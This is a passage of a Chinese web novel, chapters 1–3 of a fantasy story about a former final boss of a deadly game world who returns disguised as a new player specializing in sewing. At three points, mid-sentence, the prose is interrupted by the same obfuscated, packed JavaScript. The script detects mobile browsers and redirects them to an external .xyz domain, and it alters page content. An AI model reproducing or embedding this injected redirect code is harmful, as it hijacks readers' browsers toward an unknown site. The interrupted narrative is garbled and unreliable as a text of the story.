《无限流BOSS只想当裁缝》 1. 提尔·纳·诺恪 “听说了么,泪湖公园里有一个疯子。” “听说了听说了,长得风度翩翩一表人才,可惜疯了。” “我昨天还见过他呢!我当时坐在长椅上玩手机,他走过来时,我还以为要邂逅一个帅哥,你猜他跟我说了什么?” “什么?” “他问我:女士,您手里的是巫术牌么?鄙人从未见过,想请教您如何制作这样的卡牌。” “哈?” “连手机都不知道,不是疯子是什么?” 自动售货机前,孟绎默默地混在排队队伍里,手里也握着一张巫术牌。或者称之为手机。 前面的付款走人,没发现她们口中的“疯子”就站在她们身后。轮到孟绎使用自动售货机,他不太熟练地解锁手机,在一片花花绿绿的图标中寻找,又对着令人眼花缭乱的UI界面思考良久。 身后排队等待的人,发出不耐烦的“啧”声。 认真回忆了每一个步骤后,孟绎找到一个二维码,扫了半天没扫上。 哪里不对么?孟绎苦恼地蹙起眉头。 “你这是收款码,要用付款码。”身后排队的人失去耐心,伸过一条胳膊来干脆利落地点了几次。 再次扫付款码。 余额不足。 后面排队的人看着屏幕上标价2.00元的矿泉水,集体陷入沉默。 五分钟后,孟绎握着一瓶矿泉水,坐在泪湖旁的长椅上。矿泉水是别人请他的,因为他磨蹭了太久没付款成功,后面排队的人等不及了。 还是好心人多啊,孟绎喝了一口矿泉水,在心中感慨。 “早上好呀,帅哥。”一个青年坐到孟绎身边,他就是请孟绎喝矿泉水的好心人。青年脖子上挂着耳机,穿一件金粉色的冲锋衣,鞋子是孟绎看不懂的潮牌。 孟绎向他点点头:“你好。” “我叫朗煜,你呢?”他露出阳光的微笑。 “鄙人奈落珈……呃,鄙人孟绎。”孟绎回答,同时在心里思索着:朗煜挺和善的,我是不是可以向他询问一些事情,比如…… 朗煜的笑容中出现一丝困惑,奈落珈是什么意思?还有,“鄙人”这个自称真的正常么?? 孟绎的下一句话更让朗煜困惑了,他问:“您知不知道如何前往提尔·纳·诺恪?” 朗煜的笑容彻底凝固,脸上写着一个大大的字:啥? “提尔·纳·诺恪十三洲,”孟绎放慢语速说,“泪湖之下的城市,秘术、巫术、炼金术与缝纫术的殿堂。” 您在说梦话么??朗煜的神情由困惑转为惊恐,还没等朗煜回话,朗煜的朋友们站在堤岸上大喊:“狼狗,你坐他身边干什么?他是个疯子,你快走啊!” 不用朋友提醒,朗煜也看出眼前漂亮的男人精神不正常,他被针扎了一下似的弹起来,连忙跑远了一些。 下意识地,朗煜回头看了一眼。 孟绎还坐在长椅上,侧过头询问似的望着朗煜,细长的眉毛微微挑起,眼睑圆而钝,此刻微微睁大了一些。眼眸如燃烧的炭火,澄澈而坚毅。 黑白挑染的长发编了几个小辫儿,一点儿也看不出染发的痕迹,衣着也很考究,黑色丝绸上衣,袖口绣着栩栩如生的白色杜鹃花。 看起来像个温柔、深沉的博学之人,怎么能是疯子呢? 朗煜不忍心像躲瘟神一样躲着他。 另一头,朗煜的朋友们一个劲地催朗煜快点走,朗煜心一横,反而走到孟绎身边,低声问:“你刚才说的那个地方,叫提尔纳……” “提尔纳诺恪,泪湖之下的城市。” “好,我记住了,”朗煜冲孟绎摆摆手,“我回去帮你查一下,有缘的话,还在泪湖公园见!” 等等,泪湖之下的城市?这座公园不就叫做泪湖公园么?朗煜心中的疑惑越来越深,他向身旁的湖水投去一瞥。 淡金色的湖水,比涟漪上的粼粼日光还耀眼。这片颜色奇异的湖水,常年吸引着各地游客,比如朗煜。 目送朗煜离开后,孟绎收回目光,继续凝望着泪湖。 他才不是疯子呢,他只是刚来到这座城市6天。 来到这里之前,孟绎一直生活在提尔·纳·诺恪,那时他的名字还是奈落珈。 孟绎必须回到提尔纳诺恪,那里有他必须取回的东西。想到这里,孟绎苍白纤长的手指,无意识地摩挲着袖口的银白色杜鹃花刺绣。 * 一天的旅游行程结束,朗煜回到酒店,泡热水澡解乏,这时他又想到那个苍白漂亮的男人。 那个地名叫什么来着?提尔·纳·诺恪…… 朗煜逐字输入,毫不意外地,搜索结果为零。他又到论坛里、旅游贴里、朋友群里到处问。 搜来搜去,朗煜有些困了,这困意来得突然,好似打了麻药,短短数秒,朗煜连眼皮都睁不开。 身体顺着浴缸壁往下滑,泡沫没过他的肩膀、脖子、下巴……额头。 忽然,朗煜猛地睁开眼,他还握着手机,只不过,手机上多了一个从未下载过的APP:提尔·纳·诺恪 点开APP一看,页面上只有一行字:沉入水中,前往提尔·纳·诺恪 屏幕下方的进度条像涨起来的水浪,一点点向上蔓延,朗煜错愕地盯着页面,无论怎么点都没有反应,也无法退出。 “狼狗!” 哗啦一声,朗煜感觉自己被人拽着胳膊扯了出来,泡沫和热水糊了他满脸,他慌乱地抹去脸上的泡沫,看到朋友惊慌的表情。 手机完全被水浸透,桌面上还显示着提尔纳诺恪的APP,朗煜连忙锁定手机。 “狼狗你想不开要自杀,也不能在今天,”朋友嬉笑道,“走了,今天晚上的行程是体验摩金市夜生活,把握机会,交出你的第一次。” 朗煜魂不守舍,咕哝着说了一句“你们去吧,我还没准备好”,又找了好几个借口,总算把朋友轰了出去。 酒店房间只剩下朗煜一个人,他握着被水浸透的手机,也顾不得身上的泡沫,钻进被子里,再次打开那个神秘的APP 这一次,页面上多了一句话:洗去尘垢,获得自由 :沉入水中,前往提尔·纳·诺恪 接下来的十几个小时,朗煜浑浑噩噩,第二天一早,经过泪湖公园时,他找了个借口,甩掉朋友,精致往泪湖的方向走。 孟绎还坐在泪湖旁边,朗煜怀疑他一整晚都没有离开。 “早上好,孟绎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487760|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”朗煜再次坐到他的身边,打开APP给他看,复述了一遍昨晚的经历。 “这件事太奇怪了,”朗煜说,“提尔纳诺恪是什么地方,你去过那里么?你想回到那里么,还有这个APP是什么来头?” 他一口气问了好几个问题,但孟绎一个都没回答。 “沉入水中啊,我早该想到的。”孟绎笑了一下,树叶筛下来的光斑落在他脸上,让他的笑容更加生动。 “鄙人对您感激不尽。”孟绎轻声说。 朗煜还在愣神,孟绎早已起身,蹚过金黄的芦苇,一步步朝泪湖湖心走去。 “你做什么!”朗煜回过神时,孟绎的半个身体已浸入湖水,他冲过去想拦住孟绎。 但朗煜还是慢了一步,孟绎的身体像游蛇似的向下一扎,瞬间消失在水面,身后响起游客一连串的惊呼。 朗煜来不及多想,也跟着沉入水中,他克服着湖水粗粝的摩擦感睁大眼睛,却看到孟绎离他越来越远…… 冷不防呛了口水,朗煜感觉四肢越来越沉,像被湖水冻住了。视线逐渐模糊,意识逐渐融化。 昏迷前,朗煜听到耳边有一个优雅、愉悦的声音:“洗去尘垢,获得自由。” “您自由了。” “您自由了。”孟绎听到有人对他说。这个声音他无比熟悉,是提尔纳诺恪的【万相】。不过,人类一般称祂为“系统”。 孟绎对提尔纳诺恪的了解,远比对“手机”的理解全面,比如,他知道,初次“自由”,会迎来【万相】的一次考验,能精神正常地活下来,才能进入提尔纳诺恪。 刚回忆完这个重要知识点,只见金灿灿的湖水深处,弹出一张张灰色卡牌。 卡牌高速向孟绎冲来,灰色雾气在水中扩散,温度迅速降低…… 咔嚓。 没等卡牌中的妖魔鬼怪露出全貌,孟绎就将卡牌捏成齑粉。 卡牌里的东西死得太快,甚至没来得及发出惨叫。 系统的声音再次响起:“您自由了。欢迎来到提尔纳诺恪。” 孟绎正想“奔向自由”,忽然间,他感受到一股异样的气息。回过头一瞧 ,另一张卡牌飞到朗煜身边,灰色雾气已逐渐凝为实体,而朗煜已不省人事。 他什么时候跟过来的? 人类通常互帮补助,也经常背后插刀子。孟绎正在模仿一个普通人类,他思考了两秒钟,这种情况,应该帮助,还是应该插刀。 朗煜帮他找到进入提尔纳诺恪的方法,此时,伸出援手比较像个普通人类吧? 孟绎灵活地在水中转身,悄无声息靠近卡牌中钻出来的怪人,单手按住它后脖颈。 怪人倏地回过头,额头上的八只眼睛一起瞪大。 “这种力量——”怪人惊恐得声音变调,“你到底是谁?” 孟绎没回话,捏着怪人脖子的手稍用力收紧,怪人的惨叫令人肝肠寸断,眨眼间身体软成一滩流体,皱缩成一团,仍被孟绎紧紧攥住。 短短数秒,又一张卡牌被孟绎捏碎。孟绎摊开掌心,指缝间的碎渣被湖水冲走。 处理小喽啰易如反掌,毕竟,孟绎曾是提尔纳诺恪的最终BOSS奈落珈。这种小喽啰连见他一面的机会都没有。 2. 毒针 最终BOSS为什么要伪装成一个新玩家,回到提尔纳诺恪呢?孟绎坐在摇摇晃晃的贡多拉上,细致地剪裁布料,回忆着不久之前的事。 当终极BOSS这份工作很无聊,首先,没有几个玩家能来到孟绎所在的地图。 其次,玩家们水平不够,孟绎放水放得比自来水公司还狠,玩家也会在半小时内被他团灭。 两年不开张,开张半小时。剩下的一百多年,孟绎靠刺绣打发时间。从十字绣开始,再到花鸟鱼虫、山水天园、人物绣、苏绣…… 他一针一线绣出了立体绣屏风、双面绣团扇、人物绣流苏伞……就在七天前,万相告诉奈落珈,他自由了,他可以离开最终副本了。 奈落珈不是很想离开,上哪找这种清闲又包吃包住的工作?但他一向听从安排,准备绣完一片花瓣,就收拾包裹离开。 可是,万相甚至不等他收拾完包裹! 奈落珈绣完花瓣一抬头,他已经来到泪湖边,白色杜鹃花瓣上还插着他的金针。 他的刺绣作品还留在BOSS房呢! 奈落珈感觉世界都崩塌了,开除可以,不给2n+1也可以,哪有没收全部家产的! 提尔纳诺恪是个规则明确的世界,即使是奈落珈,也不能打破所有规则,强行夺回他的刺绣作品。 更何况,他和万相撕破脸,万相一怒之下烧了他的刺绣怎么办? 考虑了三天三夜,奈落珈决定先以玩家的身份回到提尔纳诺恪,找机会拿回属于自己的一切。 回忆结束,贡多拉靠岸。管理员站在船头吆喝着:“新人们,72小时后你们会开始历练,这3天到处打听打听游戏规则。” 另一个管理员看到新人们被吓得脸色发白,瑟瑟发抖,笑得很开心:“我提醒你们一句,死亡就是死亡。在这里死了,你们也回不去。” “这里到底是什么地方!” “绑架么?我给你们钱,让我回去!” “我的手机没信号,谁能报警?” 所有人手中,都有一张黑色卡牌,牌面上写着:71h11min后进入新手副本。 管理员说,这张卡牌叫【行为卡】,倒计时结束,玩家没有完成行为卡上的任务,拒绝进入新手副本,将发生很悲惨的事。 在他们吵吵闹闹时,孟绎已起身下船,侧身穿过看热闹的人群,独自往一栋金碧辉煌的城堡走去。 提尔纳诺恪的建筑大多是维多利亚风格,华贵而庄重。地理条件上,则很像水城威尼斯,乘船可前往任何地方。 共有13座岛屿,其中12个岛屿为游戏副本的岛屿,难度从低到高分为12等。还有一座中心岛,完成副本任务后,可以选择回到原世界,也可以在中心岛交易、寻找队友、打杂工、参加公会…… 孟绎前往的中央大厅,负责新玩家登记、公会登记等业务。刚走进去,就看到两幅从天花板垂到地面的旗帜,上面绣着一句话: 炼金是凝固的火焰,缝纫是流转的月光。 新人玩家必须在炼金术和缝纫术中选择一种。 孟绎来到登记台:“新玩家,领取身份卡牌。” 管理员揉了揉惺忪睡眼,拿起一支很像做手帐用的刀笔,又从抽屉中拿了一张空白淡绿色卡牌,打了个哈欠问:“叫什么。” “孟绎。” “精研炼金还是缝纫?” “缝纫术。” 管理员刻完孟绎的名字,漫不经心地刻了一个弧线,形状像坩埚。坩埚是炼金术的标志。 他刻卡牌的动作流畅自然,边打哈欠边刻,仿佛形成了肌肉记忆。 孟绎强调一遍:“我选择精研缝纫术,不是炼金术。” “啥??”管理员这才精神了一点,抬头看看孟绎,“你选择精研缝纫术?” 孟绎点点头。 “哪个老玩家向你推荐了缝纫术?”管理员不赞成地皱起眉头,“缝纫术前中期没有任何攻击力,初始幸运F,鬼魂追着你跑,而且……” “就是缝纫术。”孟绎说。鬼魂追着他跑?那是鬼魂幸运F 管理员眨巴了一下眼睛,见孟绎十分坚定,小声嘟囔了一句“良言难劝该死的鬼”。 “稍等啊,一年多没人选缝纫术了,我都忘记缝纫术的图腾怎么刻了。”管理员翻出工作手册,翻找半晌,刻一次看一眼。 一刻钟后,孟绎拿着他的身份卡牌和一把钥匙,离开中央大厅。 提尔纳诺恪包分配住房,哪怕是孟绎这样的新玩家,也能分到一间40平的小房子。 很快,孟绎就在中心洲找到他的居所,他拿出身份卡牌,认真瞧了瞧。 卡牌正上方,写着“杂役”二字。杂役是孟绎的玩家等级,新玩家都是杂役,进副本取得特定奖励后,可以升级为学徒、进阶学徒、精英学徒…… 中间的图片部分,杂乱的丝线包裹着一根细针。 下方,则是孟绎的名字。 提尔纳诺恪的大部分生灵,都被卡牌控制。包括曾经的最终BOSS 孟绎又拿出另一张卡牌。 卡牌通体黑色,上方写着【月光下的错乱居士】 下方写着:奈落珈 中间图片的部分是一片空白。被开除后,这张卡牌失去功效。 目前,孟绎只能凭借杂役身份卡,进入中心洲和第一洲。 问题不大,孟绎很有耐心,他的刺绣作品都被他施加了防护,一时半会儿毁不了。 孟绎收好两张卡牌,又拿出一些墨绿色的布料,用粉笔画着草图。 * 三天后。 新玩家本该用这些时间向老玩家打听副本规则等内容,但孟绎在房间里做了三天的刺绣,一步也没离开。 其实,孟绎对游戏规则了解有限,他又不是玩家。但一个新手副本不值得孟绎分神。 行为卡上的倒计时还剩4小时,该准备准备进入新手副本了。 孟绎准备了一包刺绣材料包,来到河道入海口时,一艘游轮已在等待他们。 孟绎来得比较早,港口没什么人,他将行为卡交给管理员,管理员将卡牌折成两段,交给孟绎一张房卡。 房间逼仄,不到10平米,挤了两套上下床。孟绎对此没什么意见,依旧认认真真地穿针引线。 开船后,只有一个室友登船。他进了船舱就开始哭,全身都在抖。 他哭了四个小时,孟绎一句也没有问,室友自己平静下来。 “我的朋友们,碎了,像卡牌一样碎成好几块,”那人鼻涕一把泪一把地说,“我们约定好,不进那什么狗屁新手副本。” “倒计时快结束时,我们在港口观察情况。卡牌出现裂缝,我感觉疼得难以忍受,就像几十只手拉扯我的内脏。” “我感觉不对劲,憋着一股劲跑到船上,”那人抽搭了一声,“上船后,我回头看了一眼,他们都变成了尸块。” 他说完,又开始嚎啕大哭。 当然会死了,孟绎缝了个呆萌的豆豆眼,心中想着:那张行为卡是黑色的,黑色代表它是最高级的【命运】卡,和奈落珈的身份卡等级相同。 不完成命运卡的任务,必死无疑。 那人哭了一天一夜,哭得睡着了,又被饿醒了。他睁开红肿的眼睛,迷迷糊糊地问:“怎么不给吃的。” 孟绎也有点饿了。 然而,一直到第二天游轮在第一洲靠岸,玩家们还没有吃的。玩家们登上贡多拉,在第一洲的河道中穿行,还是没有食物。 孟绎不太需要食物,他还能耐下性子刺绣,这一艘船上共20多人,饿肚子的其他人早就开始交头接耳,怨气冲冲。 “没等我们死在副本,先被饿死了。” “饿着肚子怎么进副本啊。” “我听老玩家说,副本很危险,一口食物都不给么!” 孟绎手中的毛绒小胖蛇玩偶初具雏形,他思索着怎么绣一个可爱点的花纹。 这时,贡多拉上的另一名玩家,注意到孟绎的反常。她名叫贺彩音,和身边唠叨抱怨个不停地玩家们相比,也是镇静得出奇。 贺彩音打量孟绎半晌,心想:这人如此冷静,肯定不寻常。新手副本要么自己找队友,要么等管理员随机分配。 匹配到一个哭唧唧的拖油瓶,和主动选择一个靠谱的队友,有点脑子的都选择第二个。 贺彩音和孟绎身边的人换了个座位,她没急着套近乎,而是观察孟绎手中的胖蛇玩偶一阵。 “你想给蛇绣花纹么?”贺彩音问。 终于有人和他聊聊刺绣了,孟绎不由得抬头瞧了一眼。 “我试试。”贺彩音接过玩偶,熟练地绣了几针,金线在墨绿色绒布上勾勒出一块鳞片。 孟绎心想:懂行。 针线活不是缝上去就万事大吉的,还需要对布料、针脚熟悉了解,否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487761|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则,绣出来容易变形起皱。 这是一块绒布料子,孟绎之前没怎么绣过,才犹豫了很久。 “我小时候家里穷,我要养活我妹妹,”贺彩音说着,又驾轻就熟地绣了两个鳞片,“我的衣服改一改、绣个花,再给我妹妹穿。针线活我懂一点儿。” 两人交流着刺绣心得,这时,贡多拉上的其他玩家叫嚷起来。 “管理员!给点吃的啊!你是不是把我们的吃食贪污了!” “都是受害者,你看着我们饿肚子送死,良心过得去么!” 管理员贼兮兮地一笑,没反驳,也没把本该分给新人玩家的食物拿出来。 在中心洲的三天,新人们到处打听过,管理员也是玩家,拥有特殊身份卡的玩家。他们等级很高,新人无法与之抗衡。 新人只敢抱怨,不敢动手。 有人求情,有人讲道理,还有人不管不顾地骂街。 “狗日的解倾河,把老子骗到这种地方,让我逮到你,把你扔到窑子里当畜生!” 孟绎抬头看了骂“狗日的解倾河”的人一眼。 贺彩音仍在绣鳞片,平静地说:“大部分人都是被【布道者·解倾河】骗进来的,他们以为跟着解倾河就能发财,实际上是送命。” 说罢,贺彩音问了句她真正关心的问题:“孟绎,你是被解倾河骗进来的么?” “不是。”孟绎说。 贺彩音又放心了一些。主动进入无限游戏的人,往往做了充足的准备,比那些被骗进来的人不知强了多少。 一阵叫骂声中,管理员笑嘻嘻地说:“饿狗似的一个劲儿叫唤,好好好,赏你们点儿吃的。” 说着,管理员给每个人扔了一块面包,他们饿了一天一夜,这点吃的肯定不够,但能抠出来一点食物已是幸运,所有人闷头啃着面包。 孟绎放下针线活,刚撕开包装纸,手里的面包就被人抢走了。 他困惑地抬起头,只见一个大块头耀武扬威地冲他笑,大块头身后还跟着一个瘦猴似的小弟:“娘娘腔,我吃得多,借你们一口面包吃吃。” 贡多拉上的气氛降到冰点,没人敢出头,大多数人都怕仅有的一点食物也被抢走了,拼命往嘴里塞。 大块头对他的瘦猴小弟说:“愣着干什么,姑娘手里不是也有一块面包么,抢啊。” 贺彩音平静地瞅着他们两个,活动着下颌关节,发出咔哒咔哒的声音。 “对不住了,妹子。”瘦猴小弟向贺彩音的面包伸手。 孟绎准备用物理讲道理之前,将他的胖蛇玩偶用包裹布盖好。动手可以,不能弄坏他缝了一半的玩偶。 还没等孟绎出拳,只听身旁嗖的一声。 他转头一看,只见贺彩音一手按着瘦猴的胳膊,一手按着瘦猴的太阳穴。 瘦猴的身体软趴趴地倒下,没了气息。 “借你们一块面包吃,”贺彩音云淡风轻地拿走瘦猴的面包,“野蛮人,把你的面包还给我朋友。” 大块头愣了几秒,伸手一探瘦猴小弟的鼻息,大怒:“你杀了他?!” “喂,我叫你把面包还给我朋友。”贺彩音抢走他的两块面包,往孟绎怀里一塞。 船上的其他人,这才反应过来发生什么,惊慌失措地乱叫。管理员听到异响,跨过一排排座椅来到船尾,提溜着瘦猴的身体晃了晃。 窃窃私语响起: “不是说副本外禁止玩家自相残杀么?” “对啊,老玩家是这样告诉我的。” 管理员的拇指擦过瘦猴太阳穴处的发际线,脸色变了变,冲其他人大喊:“嘟囔什么呢?嘴闭不上我帮你们闭!” 他拎着瘦猴的尸体,往河道里一扔,回到船头,仿佛什么都没发生过,大块头也回到自己的座位,对贺彩音和孟绎两人侧目而视。 孟绎咀嚼着面包,没再和贺彩音交流缝纫心得。 副本外禁止自相残杀,有这项规定。 但规定只束缚地位低的人。 别人可能没发现,但孟绎看得清清楚楚:瘦猴的太阳穴发际线里,藏着一个极小的针眼,边缘泛紫色。 那是毒针的针眼。 毒性能让杂役玩家在顷刻间毙命,至少是个中级道具。 管理员也发现了那个针孔,但他没有找贺彩音的麻烦,很显然,管理员忌惮的不是贺彩音,而是给贺彩音毒针的那个人。 那人能是谁呢? 3. 僵化剧院(1) 身边的新人是个关系户。她向孟绎提出组队邀请时,孟绎没有拒绝。 孟绎当然不需要抱关系户的大腿,孟绎猜测,贺彩音才是那个想抱大腿的人。实事求是地说,无论孟绎怎么低调,他大佬的气场掩盖不住,这点孟绎很清楚。 只是,孟绎有些好奇,贺彩音背后的人到底是谁。 孟绎对无限游戏还不完全了解,游戏的目的是什么?提尔纳诺恪的历史和未来,万相的来历……这些他都不清楚。 这次进入无限游戏,孟绎还有一个目的:了解提尔纳诺恪,弄清楚他为什么被万相开除。 既然要了解游戏,和一个有背景的玩家多接触接触,结果总是好的。 新手副本5人一组,贺彩音拉拢了一个靠谱队友孟绎后,没去找其他队友。 她观察了一整天,除了孟绎,其他人都有点不靠谱,宁缺毋滥,硬凑五人团,不如不找。 贡多拉在狭窄的河道中穿行,两侧是城市废墟。管理催促他们快点选择副本。 组好队的人,想着伸头一刀,缩头也是一刀,不如早死早超生,在管理员提示“这里是副本”时,早早地下了船。 余下的人,仿佛被排在末尾的死刑犯,每一组新人玩家下船,就是一次铡刀落下,他们绝望地等待着将砍下他们脑袋的铡刀。 小船转了个弯,远处传来卡顿严重、呜呜咽咽的凄凉乐曲,贺彩音说:“孟绎,我们选这个副本?” 与此同时,管理员也扯着嗓子喊:“僵化剧院到了,谁进僵化剧院?” “我们。2等3。”贺彩音说着,和孟绎一起下船。 他们面前,是一座衰颓破败的建筑,外立面风蚀严重,霓虹灯牌的钉子松了,灯牌掉下来挡住了一半大门。 生硬、冰凉的乐曲,就是从剧院内传来的。 两个管理员守在剧院门口,催促道:“五个人齐了,赶紧进去。” 贺彩音这才回头看了一眼其他三个队友。一个战战兢兢的女生,一个要被吓尿裤子的男生,还有一个人…… 竟是船上挑事儿的大块头。 “杀了我小弟,你还想着全身而退?”大块头经过贺彩音身边时,压低声音说,“这口气我咽不下,所以我要让你咽气。” 贺彩音捂着鼻子:“你有口臭。” “呸。熏的就是你。” 五人弯着腰,从霓虹灯牌下穿过,进入剧院。眩晕感袭来,他们什么也看不清。 系统:“您已进入副本【僵化剧院】” “洗去尘垢,获得自由。” “为更好地传播知识,您的通关过程将被直播。” 视线恢复,孟绎发现他们五个人围坐在一张圆桌旁,周围是虚空,椅子也悬在虚空之上。 “请抽取卡牌。” 五人面前,多出一张被迷雾笼罩的牌,背面朝上。五张牌围绕圆桌中心高速旋转。孟绎这时候有点后悔他没打听打听副本规则了,他不太明白这是什么环节。 卡牌停止旋转后,贺彩音率先拿起自己面前的卡,看了一眼,表情没什么变化,卡牌融入她的身体。 孟绎也跟着拿起卡牌,然而,刚拿起来,卡牌即化作烟雾消散。他迷惑地抬起头,看到胆小男生拿起的卡牌也消散了,男生激动得要哭出来。 看起来,卡牌散了是好事。 孟绎大致搞明白了,新手副本的卡牌,三张真,两张假。 卡牌相关的知识,孟绎了解。无限游戏的卡牌包括【行为卡】【道具卡】【功能卡】【身份卡】四类,抽到的真卡,属于行为卡、道具卡、功能卡这三类中的一类,玩家无法在低级副本中获得身份卡。 因为身份卡很稀有,比如管理员,就是拥有一张【管理员】的身份卡,才能在玩家之外,多一重身份。新手副本无论如何也不会获得身份卡。 深居简出、与世隔绝太久,记忆力好像退化了呢……孟绎想着。 关于卡牌的内容,先回忆这些,用得着的时候再仔细想。 “怎么会有一张学徒卡!”大块头嚷嚷起来,“为什么!为什么!我们都是杂役,为什么有一张学徒卡!” 学徒比杂役高一阶,能抽取到的卡牌等级,依照玩家们最高等级的身份卡的等级而定。 进入新手副本的都是杂役,正常情况下,只能抽到杂役等级的卡牌。 除非……贺彩音倏地看向孟绎,孟绎回以困惑的目光。 卡牌抽取结束,众人又回到剧院,大块头恍如白日撞鬼,另外两人也吓得不敢吭声。 贺彩音问:“孟绎,你精研缝纫?” “对呀。”孟绎说,“难道你不是么?” “当然不是。”贺彩音不知为何叹了口气,心中想着:本以为抱了个大腿,没想到缠上一尊瘟神。 精研缝纫,前期无法获得任何武器;初始幸运F,跟着他就倒霉。 最致命的是,精研缝纫有种种缺点,但系统对缝纫的评价很高,选择缝纫卡,副本中可能抽取到的卡牌等级,会比玩家自身的身份卡高一阶。 孟绎是杂役,系统评定等级+1,抽取的卡牌等级高一阶,则变成学徒。 若是抽到道具卡,获得更高阶道具,皆大欢喜。然而,缝纫的幸运F巧妙地中和了这一点。 大部分情况下,队里有个缝纫卡,全队幸运值降低,只会抽到高一阶的行为卡,也就是获得一项更难完成的任务。 贺彩音尽力保持冷静,飞速思考该怎么办:她根本没想到会有新人选缝纫卡。 本以为抱上孟绎的大腿,就算大块头惹事,她也不怕。眼下的情况,跟着孟绎只会死得更快。 只剩一个选择了,团结大块头,孤立孟绎。别被他的厄运体质影响到自己。 贺彩音扫了孟绎一眼,对方正研究一块窗帘,注意力不在自己这边,贺彩音抓住机会,按住叫嚷个不停的大块头。 “嘘、嘘、安静!”贺彩音低声说,“那边的小帅哥是缝纫卡,你抽到学徒卡,是因为他。” 三个人脸色煞白,大部分心善的老玩家,都会告诫新人,一定要选炼金。 就算没向老玩家打听情况,单是看看天梯排行榜,前100名95个精研炼金术,5个精研缝纫术的,还有4个还是后期才从炼金转到缝纫。 怎么会有人想不开,前期就选缝纫术呢? 炼金术初始攻击E、防御D、幸运D,难度E;缝纫初始攻击F、防御F、幸运F、难度S 没有一项比得过炼金,进入副本还会提升判定等级。到底有多想不开! 他自己想不开就算了,连累别人跟着倒霉!孟绎一张卡牌也没抽到,不用完成额外任务,反倒是大块头刘明抽到了学徒级行为卡, 听到队伍里有个缝纫卡,大块头刘明气得连“杀小弟之仇”都暂时搁置,毕竟现在是刘明要完成更难的任务,快死了的是他自己。 刘明的怒火立刻转移到孟绎头上,他气冲冲地要找孟绎算账,贺彩音啧了一声,拽住他。 “你揍他一顿有什么用?学徒卡是你抽到的,和你绑定了,你打死他,任务也得你来完成。”贺彩音又瞥了孟绎一眼,把声音压得极低,“我们得想办法离那个人远一点。” 刘明呼哧呼哧地喘着粗气,一双小眼睛恶狠狠地瞪着孟绎。 他不缺心眼,深知副本里不是吵架斗殴的好时机。更何况,孟绎看起来很不正常。哪有正常人开局选择缝纫卡的? “那小白脸不是你的朋友么?”刘明问贺彩音,“你俩在贡多拉上不是聊得很愉快么。” 好蠢,这时候谈什么朋友不朋友的。贺彩音压住心中的鄙夷,尽可能地心平气和:“我们来这儿不是理清人际关系的,等一下,我们找个机会……” “你等会儿,”刘明大手一伸,“你杀了我小弟,这仇我还没报呢,别一口一个‘我们’‘我们’的。” 贺彩音深吸一口气,恨不得送眼前的蠢货去见他小弟。 她进入无限游戏之前就知道,【僵化剧院】是新人副本中最难的一批,奖励理所当然地最丰厚。 她选择这个副本,就是想快人一步,最好能在这个副本中拿个MVP,再拿个直播数据最佳。 没成想,遇到了一个选缝纫术的,还和仇人一起进副本。形势乱如麻,尽管贺彩音做了充足准备,但她也是第一次进副本,没有100%的把握活着出去。 副本中的玩家看不到,但此刻【僵化剧院】的直播间非常热闹。 【今夕是何年啊!竟然看到一个新人玩家选缝纫术。】 【哪个好心的老玩家坑了他?真不做人啊。】 【获得可以转职的道具,至少得是精英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487762|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学徒等级,他要完成[杂役--学徒--进阶学徒--精英学徒]的升级,他能熬到精英学徒么。】 【新手副本都活不过去!其他四个玩家已经商量着要孤立他了。】 【幸运F,那是什么概念?其他人手拉手在怨鬼面前站成一排,他躲在柜子里,鬼都得从四个人头顶飘过去精准锁定柜子里的他。】 【换我我也孤立他。】 【僵化剧院这个副本,在新人副本中最难了,上次放出来,新人团灭,这次还有个缝纫卡。我赌他们一个也活不了。】 【看热闹喽!】 “不就是一张学徒卡么?”贺彩音拿出她抽到的卡牌,是一张杂役等级的【功能卡】。 卡牌上写着:改变一张卡牌的内容、等级、或是将卡牌与其他玩家绑定。 【功能卡,好东西啊。抽到高难行为卡,就指着功能卡救命了】 【贺彩音还挺冷静,他们这种情况,不能再节外生枝了。你们猜猜看,贺彩音会是什么评级?】 【我赌一个优才】 【敢不敢赌天才?】 【天才10年里才出了几个?】 玩家们在通关新手副本后,会获得一个【资质评定】,等级从低到高分别为:劣才、庸才、中才、优才、天才 80%的人集中在劣才、庸才、中才三挡。19.9%的人可以被评为优才。 资质好,会有更多老玩家愿意提供帮助。资质也可以通过后续刷副本提升,只不过提升资质比较难。 至于天才评级……通关新手副本,就能被评为天才的,历史上只有一位。 【你们千万别提那个人,看到他的名字就恶心】 【0个人提】 【我也是被那谁骗进来的,他竟然过了新手副本就被评为天才……呕!】 若是玩家们能看到弹幕,很容易猜到,观众口中的“那个人”,指的就是到处坑蒙拐骗的解倾河。 这游戏里90%的玩家,都是被解倾河骗进来的。 